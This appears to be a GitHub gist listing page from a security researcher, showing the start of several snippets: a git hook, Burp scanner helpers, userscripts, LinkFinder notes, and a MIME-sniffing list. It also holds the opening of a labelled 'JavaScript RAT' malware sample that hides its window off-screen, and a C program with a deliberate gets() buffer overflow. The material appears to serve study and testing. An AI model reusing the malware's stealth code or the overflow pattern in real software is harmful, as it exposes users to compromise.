Skip to content

Instantly share code, notes, and snippets.

@1lastBr3ath
1lastBr3ath / pre-commit
Created November 4, 2020 14:53
GitHub pre-commit hook to generate tree structure of documents along with hyperlink
#!/usr/bin/env bash
README="${1:-README.md}"
HEAD="$(head -n5 "$README")"
cat > "$README" <<< "$HEAD"
#echo "## Table of Contents" >> "$README"
tree -f --dirsfirst --noreport -I README.md | sed -r '1d; s#\.\/(.+)#[\1]\(<./\1\>)#g; s#\[[^]/]+\/#[#g; s/$/ /g' >> "$README"
git add "$README"
@1lastBr3ath
1lastBr3ath / pyscripter_utils.py
Created July 5, 2018 11:48 — forked from lanmaster53/pyscripter-snippets.py
Burp Python Scripter scripts
from burp import IScanIssue
class CustomIssue(IScanIssue):
def __init__(self, BasePair, Confidence='Certain', IssueBackground=None, IssueDetail=None, IssueName='Python Scripter generated issue', RemediationBackground=None, RemediationDetail=None, Severity='High'):
self.HttpMessages=[BasePair] # list of HTTP Messages
self.HttpService=BasePair.getHttpService() # HTTP Service
self.Url=BasePair.getUrl() # Java URL
self.Confidence = Confidence # "Certain", "Firm" or "Tentative"
self.IssueBackground = IssueBackground # String or None
self.IssueDetail = IssueDetail # String or None
0426d745099db7b539cb468b3b4e7f9ff74d289b7dc308f98485ae642902fc5baa32e46eb75afe00dceee653bea64551ef61f4f975d90f3a1b390c717664e29fd7
@1lastBr3ath
1lastBr3ath / JavaScript RAT
Created February 11, 2018 06:11 — forked from JohnLaTwC/JavaScript RAT
JavaScript RAT
## uploaded by @JohnLaTwC
## sample hash: 1d37e2a657ccc595c7a5544df6fd2d35739455f3fdbc2d2700835873130befde
<html>
<head>
<script language="JScript">
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
window.blur();
try
@1lastBr3ath
1lastBr3ath / linkfinder.md
Last active June 1, 2022 06:04
Usage of LinkFinder (@GerbenJavado)
  • Navigate to page from where you want to extract links
  • Open your browser's console and paste the following ;
    document.querySelectorAll('script[src]').forEach((i)=>document.write(i.src+'<br/>'))
  • Copy all links and write it into a file (ex: jslinks.txt)
  • Open your terminal and cd to directory where you've downloaded LinkFinder
  • Run the following command
 while IFS= read link; do python linkfinder.py -i "$link" -o cli; done &lt; jslinks.txt | tee -a output.html
@1lastBr3ath
1lastBr3ath / mimetypes.sniff.txt
Last active May 19, 2018 03:58
A list of mime types which are sniffed or can be sniffed, ran against IE mode 7 (X-UA-Compatible: IE=7)
application/3gpp-ims
application/A2L
application/activemessage
application/alto-costmap
application/alto-directory
application/alto-endpointcost
application/alto-endpointcostparams
application/alto-endpointprop
application/alto-endpointpropparams
application/alto-error
#!/usr/bin/python
import re
import sys
import json
import requests
# function to send requests
def fetch(url, headers, method=None, payload=None):
if method is None: method='GET'
@1lastBr3ath
1lastBr3ath / BTC2USD_for_poloniex.user.js
Last active June 10, 2017 11:36
Converts BTC to USD at current rate from cex.io & calculates Total investment plus current margin profit/loss
// ==UserScript==
// @name BTC2USD
// @namespace @1lastBr3ath
// @author @1lastBr3ath
// @description Converts BTC to USD at current rate from cex.io & calculates Total investment plus current margin profit/loss
// @include /https?:\/\/([a-z0-9._-]+\.)?poloniex\.com\/[a-z0-9._-]+/
// @version 0.1
// @runat document-end
// @grant none
// ==/UserScript==
@1lastBr3ath
1lastBr3ath / reddit_new_posts.user.js
Last active June 10, 2017 11:08
Auto navigate to New posts when requested reddit.com/r
// ==UserScript==
// @name reddit | NEW Posts
// @namespace @1lastBr3ath
// @description Auto navigate to new posts when requested reddit.com/r
// @include /https?:\/\/[a-z0-9._-]+\.reddit\.com\/r\/[a-z0-9._-]+\/?/
// @version 1.0
// @grant none
// @runat document-start
// ==/UserScript==
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main() {
char buf[20];
int x = 0;
gets(buf);
if (x == 1337) {
gid_t gid = getegid();